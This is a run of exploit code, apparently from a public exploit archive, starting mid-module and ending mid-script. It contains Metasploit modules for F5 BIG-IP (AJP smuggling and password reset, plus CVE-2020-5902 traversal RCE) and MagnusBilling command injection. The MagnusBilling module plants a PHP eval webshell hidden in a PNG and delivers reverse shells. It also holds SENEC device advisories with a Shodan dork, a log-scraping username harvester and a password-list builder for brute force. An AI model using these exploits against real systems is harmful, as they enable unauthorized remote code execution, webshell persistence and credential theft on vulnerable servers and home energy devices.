'_bufvalue_before' => '',<br /> '_timenow' => timenow,<br /> '_timenow_before' => ''<br /> })<br /> query_string = URI.encode_www_form(query).ljust(370, '&')<br /><br /> # see: https://tomcat.apache.org/tomcat-3.3-doc/ApacheJP.html#prefix-codes<br /> ajp_forward_request = ApacheJP::ApacheJPForwardRequest.new(<br /> http_method: ApacheJP::ApacheJPForwardRequest::HTTP_METHOD_POST,<br /> req_uri: '/tmui/Control/form',<br /> remote_addr: '127.0.0.1',<br /> remote_host: 'localhost',<br /> server_name: 'localhost',<br /> headers: [<br /> { header_name: 'Tmui-Dubbuf', header_value: tmui_dubbuf },<br /> { header_name: 'REMOTEROLE', header_value: '0' },<br /> { header_name: 'host', header_value: 'localhost' }<br /> ],<br /> attributes: [<br /> { code: ApacheJP::ApacheJPRequestAttribute::CODE_REMOTE_USER, attribute_value: 'admin' },<br /> { code: ApacheJP::ApacheJPRequestAttribute::CODE_QUERY_STRING, attribute_value: query_string },<br /> { code: ApacheJP::ApacheJPRequestAttribute::CODE_TERMINATOR }<br /> ]<br /> )<br /> ajp_data = ajp_forward_request.to_binary_s[2...]<br /> unless ajp_data.length == 0x204 # 516 bytes<br /> # this is a developer error<br /> raise "AJP data must be 0x204 bytes, is 0x#{ajp_data.length.to_s(16)} bytes."<br /> end<br /><br /> post_data << ajp_data<br /> post_data << "\r\n0"<br /><br /> send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'tmui/login.jsp'),<br /> 'headers' => { 'Transfer-Encoding' => 'chunked, chunked' },<br /> 'data' => post_data<br /> )<br /> end<br /><br /> def bigip_api_shared_set_password(user, old_password, new_password)<br /> send_request_cgi(<br /> 'method' => 'PATCH',<br /> 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authz/users', user),<br /> 'headers' => {<br /> 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",<br /> 'Content-Type' => 'application/json'<br /> },<br /> 'data' => { 'oldPassword' => old_password, 'password' => new_password }.to_json<br /> )<br /> end<br /><br /> def bigip_api_shared_login<br /> send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'mgmt/shared/authn/login'),<br /> 'headers' => { 'Content-Type' => 'application/json' },<br /> 'data' => { 'username' => username, 'password' => password }.to_json<br /> )<br /> end<br /><br /> def bigip_api_tm_get_user(user)<br /> send_request_cgi(<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'mgmt/tm/auth/user', user),<br /> 'headers' => {<br /> 'Authorization' => "Basic #{Rex::Text.encode_base64("#{username}:#{password}")}",<br /> 'Content-Type' => 'application/json'<br /> }<br /> )<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />require 'rex/stopwatch'<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Format::PhpPayloadPng<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'MagnusBilling application unauthenticated Remote Command Execution.',<br /> 'Description' => %q{<br /> A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows<br /> remote attackers to run arbitrary commands via unauthenticated HTTP request.<br /> A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().<br /> The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and<br /> not properly sanitised/escaped.<br /> After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.<br /> The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.<br /> At a minimum, this allows an attacker to compromise the billing system and its database.<br /><br /> The following MagnusBilling applications are vulnerable:<br /> - MagnusBilling application version 6 (all versions);<br /> - MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor<br /> 'Eldstal' # Discovery of the vulnerability<br /><br /> ],<br /> 'References' => [<br /> ['CVE', '2023-30258'],<br /> ['URL', 'https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258'],<br /> ['URL', 'https://eldstal.se/advisories/230327-magnusbilling.html']<br /> ],<br /> 'DisclosureDate' => '2023-06-26',<br /> 'Platform' => ['php', 'unix', 'linux'],<br /> 'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'PHP',<br /> {<br /> 'Platform' => ['php'],<br /> 'Arch' => ARCH_PHP,<br /> 'Type' => :php,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'php/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ],<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_bash'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => ['linux'],<br /> 'Arch' => [ARCH_X64, ARCH_X86],<br /> 'Type' => :linux_dropper,<br /> 'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],<br /> 'Linemax' => 2048,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /> register_options([<br /> OptString.new('TARGETURI', [ true, 'The MagnusBilling endpoint URL', '/mbilling' ]),<br /> OptString.new('WEBSHELL', [<br /> false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil<br /> ], conditions: %w[TARGET == 0])<br /> ])<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> return send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', 'icepay.php'),<br /> 'vars_get' =><br /> {<br /> 'democ' => "/dev/null;#{cmd};#"<br /> }<br /> })<br /> end<br /><br /> def execute_php(cmd, _opts = {})<br /> payload = Base64.strict_encode64(cmd)<br /> return send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', @webshell_name),<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'vars_post' => {<br /> @post_param => payload<br /> }<br /> })<br /> end<br /><br /> def upload_webshell<br /> # randomize file name if option WEBSHELL is not set<br /> @webshell_name = if datastore['WEBSHELL'].blank?<br /> "#{Rex::Text.rand_text_alpha(8..16)}.php"<br /> else<br /> datastore['WEBSHELL'].to_s<br /> end<br /><br /> @post_param = Rex::Text.rand_text_alphanumeric(1..8)<br /><br /> # inject PHP payload into the PLTE chunk of a PNG image to hide the payload<br /> php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"<br /> png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')<br /> return nil if png_webshell.nil?<br /><br /> # encode webshell data, set write and execute permissions and write to file on the target for execution<br /> payload = Base64.strict_encode64(png_webshell.to_s)<br /> cmd = "chmod 755 ./;echo #{payload}|base64 -d > ./#{@webshell_name}"<br /> execute_command(cmd)<br /> end<br /><br /> def check<br /> print_status("Checking if #{peer} can be exploited.")<br /> res = send_request_cgi!({<br /> 'method' => 'GET',<br /> 'ctype' => 'application/x-www-form-urlencoded',<br /> 'uri' => normalize_uri(target_uri.path)<br /> })<br /> # Check if target is a magnusbilling application<br /> return CheckCode::Unknown('No response received from target.') unless res<br /> return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i<br /><br /> # blind command injection using sleep command<br /> sleep_time = rand(4..8)<br /> print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")<br /> _res, elapsed_time = Rex::Stopwatch.elapsed_time do<br /> execute_command("sleep #{sleep_time}")<br /> end<br /> print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")<br /> return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time<br /><br /> CheckCode::Vulnerable('Successfully tested command injection.')<br /> end<br /><br /> def exploit<br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /> case target['Type']<br /> when :php<br /> res = upload_webshell<br /> fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200<br /> register_file_for_cleanup(@webshell_name.to_s)<br /> execute_php(payload.encoded)<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> # Don't check the response here since the server won't respond<br /> # if the payload is successfully executed.<br /> execute_cmdstager({ linemax: target.opts['Linemax'] })<br /> end<br /> end<br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /><br /> Rank = AverageRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::CmdStager<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Deprecated<br /> moved_from 'exploit/linux/http/f5_bigip_tmui_rce'<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'F5 BIG-IP TMUI Directory Traversal and File Upload RCE',<br /> 'Description' => %q{<br /> This module exploits a directory traversal in F5's BIG-IP Traffic<br /> Management User Interface (TMUI) to upload a shell script and execute<br /> it as the Unix root user.<br /><br /> Unix shell access is obtained by escaping the restricted Traffic<br /> Management Shell (TMSH). The escape may not be reliable, and you may<br /> have to run the exploit multiple times. Sorry!<br /><br /> Versions 11.6.1-11.6.5, 12.1.0-12.1.5, 13.1.0-13.1.3, 14.1.0-14.1.2,<br /> 15.0.0, and 15.1.0 are known to be vulnerable. Fixes were introduced<br /> in 11.6.5.2, 12.1.5.2, 13.1.3.4, 14.1.2.6, and 15.1.0.4.<br /><br /> Tested against the VMware OVA release of 14.1.2.<br /> },<br /> 'Author' => [<br /> 'Mikhail Klyuchnikov', # Discovery<br /> 'wvu' # Analysis and exploit<br /> ],<br /> 'References' => [<br /> ['CVE', '2020-5902'],<br /> ['URL', 'https://support.f5.com/csp/article/K52145254'],<br /> ['URL', 'https://www.ptsecurity.com/ww-en/about/news/f5-fixes-critical-vulnerability-discovered-by-positive-technologies-in-big-ip-application-delivery-controller/']<br /> ],<br /> 'DisclosureDate' => '2020-06-30', # Vendor advisory<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],<br /> 'Privileged' => true,<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => 'unix',<br /> 'Arch' => ARCH_CMD,<br /> 'Type' => :unix_cmd,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'<br /> }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Platform' => 'linux',<br /> 'Arch' => [ARCH_X86, ARCH_X64],<br /> 'Type' => :linux_dropper,<br /> 'DefaultOptions' => {<br /> 'CMDSTAGER::FLAVOR' => :bourne,<br /> 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'<br /> }<br /> }<br /> ]<br /> ],<br /> 'DefaultTarget' => 1,<br /> 'DefaultOptions' => {<br /> 'SSL' => true,<br /> 'WfsDelay' => 5<br /> },<br /> 'Notes' => {<br /> 'Stability' => [SERVICE_RESOURCE_LOSS], # May disrupt the service<br /> 'Reliability' => [UNRELIABLE_SESSION], # Seems a little finicky<br /> 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> Opt::RPORT(443),<br /> OptString.new('TARGETURI', [true, 'Base path', '/'])<br /> ])<br /><br /> register_advanced_options([<br /> OptString.new('WritableDir', [true, 'Writable directory', '/tmp'])<br /> ])<br /> end<br /><br /> def check<br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => dir_trav('/tmui/locallb/workspace/fileRead.jsp'),<br /> 'vars_post' => {<br /> 'fileName' => '/etc/f5-release'<br /> }<br /> )<br /><br /> unless res<br /> return CheckCode::Unknown('Target did not respond to check.')<br /> end<br /><br /> unless res.code == 200 && /BIG-IP release (?<version>[\d.]+)/ =~ res.body<br /> return CheckCode::Safe('Target did not respond with BIG-IP version.')<br /> end<br /><br /> # If we got here, the directory traversal was successful<br /> CheckCode::Vulnerable("Target is running BIG-IP #{version}.")<br /> end<br /><br /> def exploit<br /> create_alias<br /><br /> print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")<br /><br /> case target['Type']<br /> when :unix_cmd<br /> execute_command(payload.encoded)<br /> when :linux_dropper<br /> execute_cmdstager(temp: datastore['WritableDir'])<br /> end<br /> ensure<br /> delete_alias if @created_alias<br /> end<br /><br /> def create_alias<br /> print_status('Creating alias list=bash')<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),<br /> 'vars_post' => {<br /> 'command' => 'create cli alias private list command bash'<br /> }<br /> )<br /><br /> if res.nil? || (error = parse_error(res))<br /> case error<br /> when /private "list" \(list\) already exists/<br /> print_error('Alias "list" already exists, deleting it')<br /> delete_alias<br /><br /> # Try to create the alias again<br /> return create_alias<br /> when /java\.lang\.NullPointerException/<br /> print_error('Encountered java.lang.NullPointerException, retrying!')<br /><br /> # XXX: Try to create the alias until we're successful<br /> return create_alias<br /> end<br /><br /> fail_with(Failure::UnexpectedReply,<br /> "Failed to create alias list=bash#{error}")<br /> end<br /><br /> @created_alias = true<br /><br /> print_good('Successfully created alias list=bash')<br /> end<br /><br /> def execute_command(cmd, _opts = {})<br /> vprint_status("Executing command: #{cmd}")<br /><br /> upload_script(cmd)<br /> execute_script<br /> end<br /><br /> def upload_script(cmd)<br /> print_status("Uploading #{script_path}")<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => dir_trav('/tmui/locallb/workspace/fileSave.jsp'),<br /> 'vars_post' => {<br /> 'fileName' => script_path,<br /> 'content' => cmd<br /> }<br /> )<br /><br /> if res.nil? || (error = parse_error(res))<br /> fail_with(Failure::UnexpectedReply,<br /> "Failed to upload #{script_path}#{error}")<br /> end<br /><br /> register_file_for_cleanup(script_path)<br /><br /> print_good("Successfully uploaded #{script_path}")<br /> end<br /><br /> def execute_script<br /> print_status("Executing #{script_path}")<br /><br /> res = send_request_cgi({<br /> 'method' => 'POST',<br /> 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),<br /> 'vars_post' => {<br /> 'command' => "list #{script_path}"<br /> }<br /> }, 3.5)<br /><br /> # No response may mean the service is blocking on payload execution<br /> return unless res && (error = parse_error(res))<br /><br /> case error<br /> when /unexpected argument/<br /> print_error('Alias "list" does not exist, attempting to create it again')<br /> create_alias<br /><br /> # Try to execute the script again... smdh<br /> return execute_script<br /> when /java\.lang\.NullPointerException/<br /> print_error('Encountered java.lang.NullPointerException, retrying!')<br /><br /> # XXX: Try to execute the script until we're successful<br /> return execute_script<br /> end<br /><br /> print_error("Failed to execute #{script_path}#{error}")<br /> end<br /><br /> def delete_alias<br /> print_status('Deleting alias list=bash')<br /><br /> res = send_request_cgi(<br /> 'method' => 'POST',<br /> 'uri' => dir_trav('/tmui/locallb/workspace/tmshCmd.jsp'),<br /> 'vars_post' => {<br /> 'command' => 'delete cli alias private list'<br /> }<br /> )<br /><br /> if res.nil? || (error = parse_error(res))<br /> case error<br /> when /user alias \(list admin\) was not found/<br /> print_good('Alias "list" does not exist or was already deleted')<br /> return<br /> when /java\.lang\.NullPointerException/<br /> print_error('Encountered java.lang.NullPointerException, retrying!')<br /><br /> # XXX: Try to delete the alias until we're successful<br /> return delete_alias<br /> end<br /><br /> print_warning("Failed to delete alias list=bash#{error}")<br /> return<br /> end<br /><br /> print_good('Successfully deleted alias list=bash')<br /> end<br /><br /> def parse_error(res)<br /> return unless res<br /><br /> error =<br /> case res.code<br /> when 200<br /> res.get_json_document['error']<br /> when 500<br /> # This is usually a java.lang.NullPointerException stack trace<br /> res.get_html_document.at('//pre')&.text<br /> else<br /> res.body<br /> end<br /><br /> return if error.blank?<br /><br /> ":\n#{error.strip}"<br /> end<br /><br /> def dir_trav(path)<br /> # PoC courtesy of the referenced F5 advisory: <LocationMatch ".*\.\.;.*"><br /> normalize_uri(target_uri.path, '/tmui/login.jsp/..;', path)<br /> end<br /><br /> def script_path<br /> @script_path ||=<br /> normalize_uri(datastore['WritableDir'], rand_text_alphanumeric(8..42))<br /> end<br /><br />end<br /></code></pre>
<pre><code>Advisory ID: Ph0s-2023-001<br />Product: EnBw - SENEC legacy storage box: V1-V3<br />Manufacturer: SENEC - a part of EnBw<br />Affected Version(s): Firmware: all (as of 2023-06-19)<br />Tested Version(s): current<br />Vulnerability Type: CWE-284: Improper Access Control<br /><br /><br />Risk Level:<br />CVSS v3.1 Vector:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N1 (7.5 High)<br /><br /><br />Manufacturer Risk Level Rating:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:T/RC:C<br />Overall CVSS Score: 7.2<br /><br /><br />Solution Status: Fixed<br />Manufacturer Notification: 2023-06-05<br />Public Disclosure: 2023-11-01<br />CVE Reference: CVE-2023-39167<br />Author of Advisory: Ph0s[4], R0ckE7<br /><br /><br />********************************************************************************<br /><br /><br />Overview:<br />Foreword:<br />This vulnerability was reported to the enbw-cert. we would like to<br />thank enbw-cert for taking care of the vulns and patch the systems.<br />we decided to publish when most of the reported vulns are patched<br />to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.<br /><br /><br />About Senec:<br />We are SENEC<br /><br /><br />We have been the EnBW energy independence experts since 2018 – but we have<br />put our heart and soul into guiding customers on the route to independence<br />since SENEC was founded in 2009. Our passion lies in actively promoting the<br />energy transition with innovative ideas and pioneering products. And,<br />because we don’t do things by halves, our unwavering ambition is to create<br />integrated solutions that enable you to enjoy the highest possible degree<br />of independence and sustainability through self-generation of solar<br />electricity.<br /><br /><br />About SENEC Home:<br /><br /><br />SENEC.Home: The smart electricity storage device for your home<br /><br /><br />SENEC.Home is the heart of the your sustainable, affordable supply of solar<br />electricity. The smart battery storage device stores excess electricity<br />generated by your PV system so that you can use it when you need it – such as<br />when your household’s energy consumption rises in the evening, or on rainy days<br />when your PV system generates less power.<br /><br /><br />********************************************************************************<br /><br /><br />Vulnerability Details:<br /><br /><br />No authentication is required to access log information. The URL required for<br />this corresponds to the scheme http://SENEC-IP/log/YYYY/MM/DD.log , e.g.:<br /><br /><br />http://178.202.XX.XXX/log/2023/05/14.log<br /><br /><br />These contain sensitive information about the operating status of the<br />photovoltaic system, software releases and usernames used for login.<br />An unauthenticated attacker is able to use this information, among other things,<br />to:<br /><br /><br />• Draw conclusions about the effectiveness of various types of attacks, e.g. by<br />evaluating changes in the logged operating status.<br /><br /><br />• Target known vulnerabilities related to the software release of the<br />application itself and any used third-party libraries.<br /><br /><br />• Use it as a stepping stone for deeper attacks, e.g. to prepare brute force<br />attacks involving the usernames provided in the log.<br /><br /><br />********************************************************************************<br /><br /><br />Proof of Concept (PoC):<br /><br /><br />The attack consists of the following steps:<br /><br /><br />1. grab an ip of an affected System, eg via Shodan Dork:<br />https://www.shodan.io/search?query=http.html%3A<title>SENEC<%2Ftitle><br /><br /><br />2. exploit by reading the log<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Solution:<br />Patched by Manufacturer<br />(Rolled out until September 11, 2023)<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Disclosure Timeline:<br /><br /><br />2022-06-01: Vulnerability discovered<br />2023-06-05: Vulnerability reported to manufacturer<br />2023-09-11: Patch rollout by manufacturer to affected devices<br />2023-11-01: Public disclosure of vulnerability<br /><br /><br />************************************************************************<br /><br /><br />Researcher:<br />Ph0s[4], R0ckE7<br /><br /><br />************************************************************************<br /><br /><br />Disclaimer:<br /><br /><br />The information provided in this security advisory is provided "as is"<br />and without warranty of any kind. Details of this security advisory may<br />be updated in order to provide as accurate information as possible.<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Copyright:<br /><br /><br />Creative Commons - Attribution (by) - Version 4.0<br />URL: https://creativecommons.org/licenses/by/4.0/deed.en<br /></code></pre>
<pre><code>Advisory ID: Ph0s-2023-002<br />Product: EnBw - SENEC legacy storage box: V1-V3<br />Manufacturer: SENEC - a part of EnBw<br />Affected Version(s): Firmware: all (as of 2023-06-19)<br />Tested Version(s): current<br />Vulnerability Type: CWE-200: Exposure of Sensitive Information to an<br />Unauthorized Actor<br /><br /><br />Risk Level: CVSS v3.1 Vector:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5 High)<br /><br /><br />Manufacturer Risk Level Rating:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H/RL:T/RC:C<br />Overall CVSS Score: 7.2<br /><br /><br />Solution Status: Fixed<br />Manufacturer Notification: 2023-06-05<br />Public Disclosure: 2023-11-01<br />CVE Reference: CVE-2023-39168<br />Author of Advisory: Ph0s[4], R0ckE7<br /><br /><br />********************************************************************************<br /><br /><br />Overview:<br />Foreword:<br />This vulnerability was reported to the enbw-cert. we would like to<br />thank enbw-cert for taking care of the vulns and patch the systems.<br />we decided to publish when most of the reported vulns are patched<br />to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.<br /><br /><br /><br /><br />About Senec:<br />We are SENEC<br /><br /><br />We have been the EnBW energy independence experts since 2018 – but we have<br />put our heart and soul into guiding customers on the route to independence<br />since SENEC was founded in 2009. Our passion lies in actively promoting the<br />energy transition with innovative ideas and pioneering products. And,<br />because we don’t do things by halves, our unwavering ambition is to create<br />integrated solutions that enable you to enjoy the highest possible degree<br />of independence and sustainability through self-generation of solar<br />electricity.<br /><br /><br />About SENEC Home:<br /><br /><br />SENEC.Home: The smart electricity storage device for your home<br /><br /><br />SENEC.Home is the heart of the your sustainable, affordable supply of solar<br />electricity. The smart battery storage device stores excess electricity<br />generated by your PV system so that you can use it when you need it – such as<br />when your household’s energy consumption rises in the evening, or on rainy days<br />when your PV system generates less power.<br /><br /><br />********************************************************************************<br /><br /><br /><br /><br />Vulnerability Details:<br /><br /><br />As already stated in CVE-2023-39167, no authentication is required to access log<br />information. Therefore, and due to the predictable URL scheme, it is possible<br />for an attacker to download all existing log files to obtain the username.<br /><br /><br />********************************************************************************<br /><br /><br />Proof of Concept (PoC):<br /><br /><br />The attack consists of the following steps:<br /><br /><br />1. parse the script using this PoC Code to obtail the username:<br />import argparse<br />import datetime<br />import os<br />import requests<br /><br /><br /><br /><br />def get_senec_logs(senec_ip, day_range, break_on_username):<br />start_date = datetime.datetime.today()<br />end_date = start_date - datetime.timedelta(days=day_range)<br />delta = datetime.timedelta(days=1)<br /><br /><br />while end_date < start_date:<br />try:<br />senec_url = f"http://{senec_ip}/log/{start_date.strftime('%Y')}/" \<br />f"{start_date.strftime('%m')}/{start_date.strftime('%d')}.log"<br />r = requests.get(senec_url)<br />print(f"HTTP Status Code {r.status_code}: {senec_url}")<br /><br /><br />if r.status_code != 200: break<br />if r.headers["Content-Length"] == "0": break<br /><br /><br />os.makedirs(os.path.dirname(senec_url.replace("http://", "")), exist_ok=True)<br />with open(senec_url.replace("http://", ""), "wb") as senec_log_file:<br />senec_log_file.write(r.content)<br />offset = r.content.find(bytes("username:", "utf-8"))<br />if offset != -1:<br />print(f"Username found in {senec_log_file.name} at offset {offset}")<br />if break_on_username: break<br />except requests.ConnectionError:<br />print("Failed to connect to SENEC.Inverter")<br />break<br />except Exception as e:<br />print(f"An unhandled exception occurred:\n{e}")<br />break<br />start_date -= delta<br /><br /><br /><br /><br />if name == 'main':<br />parser = argparse.ArgumentParser(description="Download SENEC.Inverter log files")<br />parser.add_argument("ip", type=str, help="IP address of the target SENEC.Inverter")<br />parser.add_argument("-b", "--break-on-username", action="store_true", default=False, required=False,<br />help="stop downloading once a username is found")<br />parser.add_argument("-d", "--day-range", type=int, action="store", default=365 * 20, required=False,<br />help="number of days to download log files in reverse order starting today")<br />args = parser.parse_args()<br />get_senec_logs(args.ip, args.day_range, args.break_on_username)<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Solution:<br />Patched by Manufacturer<br />(Rolled out until September 11, 2023)<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Disclosure Timeline:<br /><br /><br />2022-06-01: Vulnerability discovered<br />2023-06-05: Vulnerability reported to manufacturer<br />2023-09-11: Patch rollout by manufacturer to affected devices<br />2023-11-01: Public disclosure of vulnerability<br /><br /><br /><br /><br />************************************************************************<br /><br /><br />Researcher:<br />Ph0s[4], R0ckE7<br /><br /><br />************************************************************************<br /><br /><br />Disclaimer:<br /><br /><br />The information provided in this security advisory is provided "as is"<br />and without warranty of any kind. Details of this security advisory may<br />be updated in order to provide as accurate information as possible.<br /><br /><br />~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br /><br /><br />Copyright:<br /><br /><br />Creative Commons - Attribution (by) - Version 4.0<br />URL: https://creativecommons.org/licenses/by/4.0/deed.en<br /></code></pre>
<pre><code>Advisory ID: Ph0s-2023-003<br />Product: EnBw - SENEC legacy storage box: V1-V3<br />Manufacturer: SENEC - a part of EnBw<br />Affected Version(s): Firmware: all (as of 2023-06-19)<br />Tested Version(s): current<br />Vulnerability Type: CWE-307: Improper Restriction of Excessive <br /><br /> Authentication Attempts<br /> CWE-798: Use of Hard-coded Credentials<br /><br />Risk Level: <br /><br />CVSS v3.1 Vector:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)<br /><br />Manufacturer Risk Level Rating:<br />AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:H/RL:U/RC:C<br />Overall CVSS Score: 8.6<br /><br />Solution Status: Fixed<br />Manufacturer Notification: 2023-06-05<br />Public Disclosure: 2023-11-01<br />CVE Reference: CVE-2023-39168<br />Author of Advisory: Ph0s[4], R0ckE7<br /><br />********************************************************************************<br /><br />Overview:<br />Foreword: <br /><br />This vulnerability was reported to the enbw-cert. we would like to<br />thank enbw-cert for taking care of the vulns and patch the systems.<br />we decided to publish when most of the reported vulns are patched<br />to make sure nobody is harmed when 3rdparys exploit the mentioned vulns. <br /><br /><br /><br />About Senec:<br />We are SENEC<br /><br />We have been the EnBW energy independence experts since 2018 – but we have<br />put our heart and soul into guiding customers on the route to independence<br />since SENEC was founded in 2009. Our passion lies in actively promoting the<br />energy transition with innovative ideas and pioneering products. And, <br /><br />because we don’t do things by halves, our unwavering ambition is to create<br />integrated solutions that enable you to enjoy the highest possible degree<br />of independence and sustainability through self-generation of solar <br /><br />electricity.<br /><br />About SENEC Home:<br /><br />SENEC.Home: The smart electricity storage device for your home<br /><br />SENEC.Home is the heart of the your sustainable, affordable supply of solar<br />electricity. The smart battery storage device stores excess electricity <br /><br />generated by your PV system so that you can use it when you need it – such as<br />when your household’s energy consumption rises in the evening, or on rainy days<br />when your PV system generates less power.<br /><br />********************************************************************************<br /><br /><br />Vulnerability Details:<br /><br />Based on the previously identified hard-coded username in CVE-2023-39167 and<br />CVE-2023-39168 all technical requirements were met to target the password. <br /><br />Since the username installateur is quite straightforward in the sense of <br /><br />guessable, it was decided to perform a dictonary-type brute force attack. <br /><br />For this purpose, all related PDF documents were downloaded to create a password<br />list specifically tailored to SENEC.Inverter. <br /><br />Source of the Documents: https://senec.com/au/company/downloads<br /><br />********************************************************************************<br /><br />Proof of Concept (PoC):<br /><br />The attack consists of the following steps:<br /><br />1. parse the documents :<br />import argparse<br />import glob<br />import string<br />import fitz<br /><br /><br />def get_senec_password(pdf_directory, pwd_prefix, pwd_suffix):<br /> pdf_text = ""<br /> for file in glob.glob(f"{pdf_directory}/*.pdf"):<br /> pdf = fitz.open(file)<br /> for page in pdf:<br /> pdf_text += page.get_text()<br /><br /> pdf_words = set(<br /> [word.strip(string.punctuation) for word in pdf_text.split() if word.strip(string.punctuation).isalnum()]<br /> )<br /> senec_password = set(<br /> [f"{pwd_prefix}{word}{pwd_suffix}" for word in pdf_words if not word.isnumeric()]<br /> )<br /><br /> with open("senec-password.txt", mode="w", encoding="utf-8") as fd:<br /> 